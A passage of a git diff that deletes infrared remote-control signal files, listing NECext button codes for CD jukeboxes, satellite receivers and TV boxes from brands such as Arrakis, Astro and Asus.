15 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 15 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 16 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 18 00 00 00 -# -name: ALLCD -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 19 00 00 00 -# -name: SEQL -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 1B 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 1C 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 1D 00 00 00 -# -name: NUMBER -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 1E 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir deleted file mode 100644 index f7bf313e4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 03 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 06 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: CD# -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0B 00 00 00 -# -name: DISC- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0D 00 00 00 -# -name: TR# -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0E 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: 1CD -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: DISC+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 11 00 00 00 -# -name: TR- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TR+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 13 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 14 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 15 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 16 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: ALLCD -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 19 00 00 00 -# -name: SEQL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1C 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1D 00 00 00 -# -name: NUMBER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1E 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir deleted file mode 100644 index 0954849e1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: LOOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: FINE_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: FINE_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir deleted file mode 100644 index 3aff975cf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: disc_oper -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: pscan -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: pal_ntsc -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 40 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: num_10+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: A-B_RPT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir deleted file mode 100644 index 55c572c94..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: <-_PR_(RETURN) -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: SEARCH_FWD_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: LIST/OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: SEARCH_REW_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: UHF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: GELB/YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: BLAU/BLUE_L/R -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: ROT/RED_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: N/GREEN_POS. -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: PLAY/SLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 23 00 00 00 -# -name: FFW_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 25 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 26 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 27 00 00 00 -# -name: 4:3_/_16:9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir deleted file mode 100644 index f71894ff9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 03 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 04 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 05 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 06 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 07 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 08 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 0A 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 19 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 1A 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 1B 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 1C 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 1D 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 FD 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir deleted file mode 100644 index 377b8cd55..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 01 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 02 00 00 00 -# -name: ez_wifi -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 08 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 09 00 00 00 -# -name: ap_launch -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0B 00 00 00 -# -name: noise_off -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0C 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0E 00 00 00 -# -name: quick_power -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir deleted file mode 100644 index 5a9904927..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_H -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_S -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir deleted file mode 100644 index 32b9ebc7e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: 